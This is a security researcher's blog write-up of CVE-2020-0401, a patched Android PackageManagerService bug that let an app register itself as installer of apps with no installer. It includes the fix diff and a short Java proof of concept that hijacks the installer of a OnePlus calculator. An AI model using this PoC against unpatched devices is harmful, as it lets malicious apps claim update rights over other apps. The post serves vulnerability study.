Note

This is another attempt in my Android Side Quest (the previous one was Android’s CVE-2020-0238).

Intro

While digging around through my old gadgets, I found my ancient OnePlus phone that had been gathering dust in a drawer. This relic hadn’t seen an update in ages, and it got me thinking—what vulnerabilities could be lurking in its outdated OS? This time I chose CVE-2020-0401, a crafty little bug hiding in Android’s system_server package manager service.

This vulnerability allows a malicious app to register itself as the installer of other apps without needing permissions. In this post, I’ll break down how this bug works, how it was patched, etc.

The Fix

Below is the fix that mitigates CVE-2020-0401 in the PackageManagerService class:

index c8175be..c84aedc 100644
--- a/services/core/java/com/android/server/pm/PackageManagerService.java
+++ b/services/core/java/com/android/server/pm/PackageManagerService.java
 
@@ -15908,20 +15908,26 @@
 
             // Verify: if target already has an installer package, it must
             // be signed with the same cert as the caller.
-            if (targetPackageSetting.installerPackageName != null) {
-                PackageSetting setting = mSettings.mPackages.get(
-                        targetPackageSetting.installerPackageName);
-                // If the currently set package isn't valid, then it's always
-                // okay to change it.
-                if (setting != null) {
-                    if (compareSignatures(callerSignature,
-                            setting.signatures.mSignatures)
-                            != PackageManager.SIGNATURE_MATCH) {
-                        throw new SecurityException(
-                                "Caller does not have same cert as old installer package "
-                                + targetPackageSetting.installerPackageName);
-                    }
+            String targetInstallerPackageName =
+                    targetPackageSetting.installerPackageName;
+            PackageSetting targetInstallerPkgSetting = targetInstallerPackageName == null ? null :
+                    mSettings.mPackages.get(targetInstallerPackageName);
+
+            if (targetInstallerPkgSetting != null) {
+                if (compareSignatures(callerSignature,
+                        targetInstallerPkgSetting.signatures.mSignatures)
+                        != PackageManager.SIGNATURE_MATCH) {
+                    throw new SecurityException(
+                            "Caller does not have same cert as old installer package "
+                                    + targetInstallerPackageName);
                 }
+            } else if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
+                    != PackageManager.PERMISSION_GRANTED) {
+                // This is probably an attempt to exploit vulnerability b/150857253 of taking
+                // privileged installer permissions when the installer has been uninstalled or
+                // was never set.
+                EventLog.writeEvent(0x534e4554, "150857253", callingUid, "");
+                return;
             }
 
             // Okay!

Some of the changes that were introduced in this commit are:

  1. Detects and Handles Null Cases:
    • By explicitly checking for null in targetInstallerPkgSetting, the patch ensures that any operation involving an unset or invalid installer package goes through additional validation.
  2. Fallback to Permission Check:
    • If installerPackageName is null, the patch enforces that the caller must have the INSTALL_PACKAGES permission. This permission is granted only to trusted system apps, preventing unauthorized operations.
  3. Logs Exploit Attempts:
    • If an unauthorized app tries to exploit this gap, the system logs the attempt for monitoring and investigation.

Analysis

PackageManagerService

PackageManagerService is a core component in Android responsible for managing the installation, update, and removal of applications on the device. It ensures applications are installed from legitimate sources and manages their lifecycle and permissions. In CVE-2020-0401, the focus is on how PackageManagerService handles the relationship between applications and their installer packages.

Scenarios Where installerPackageName is Set to Null

The installerPackageName may be set to null in two primary scenarios:

  1. Pre-installed apps: Apps like Photos, Contacts, Dialer, and Calculator that come pre-installed on the device often do not have an associated installer because they are part of the system image.
  2. Uninstalled installer apps: If an application that installed other apps is removed, the applications it installed no longer have a valid installer reference, turning them into “orphans.” These orphan apps can then become targets for malicious entities that aim to assign themselves as the new installer without proper authorization.

Re-produce

Below is a PoC I crafted:

PackageManager pm =  context.getPackageManager();  
String TARGET_APK;  
String installer;  
String ATTACKER_PKG = context.getPackageName();  
TARGET_APK = "com.oneplus.calculator";
 
// Output: "installer of com.oneplus.calculator is null"
installer = pm.getInstallerPackageName(TARGET_APK);
Log.v(this.getClass().getSimpleName(), MessageFormat.format("installer of {0} is {1}", TARGET_APK, installer));
 
// should trigger Security Exception but it doesn't because the installer is null
pm.setInstallerPackageName(TARGET_APK, ATTACKER_PKG);
 
// Output: "installer of com.oneplus.calculator is com.pwnable.cve_2020_0401" 
installer = pm.getInstallerPackageName(TARGET_APK);
Log.v(this.getClass().getSimpleName(), MessageFormat.format("installer of {0} is {1}", TARGET_APK, installer));

Result: Now, the calculator app is owned by our malicious APK com.pwnable.cve_2020_0401 :^)

Impact

By becoming the installer of a package, according to the Android docs, one could: “send updates to other apps”. Which, in our terms, translates into stuff like PE or (some sort of) ‘Persistence’.

I tried a few attempts to do something like that(change the contents of calculator app) but it required user interaction/prompt that tells the user they’re about to update com.oneplus.calculator. Which is not very, uhm, attractive to hackers.

I guess it happened to me because I’m not familiar enough (yet) with the Android APIs(??) and there are more clever ways to do it silently. Or maybe you just need to chain another vulnerability. idk

Conclusion

CVE-2020-0401 was a lot more fun than the previous one I tried to exploit. But still not keep up to my expectations(as I said in the previous post, what I’m looking for is crafting a legendary exploit that allows an untrusted_app escalate its way all the way up to system_server(or even better, root).

Next time I guess :D thank you for reading, and I hope it was informative.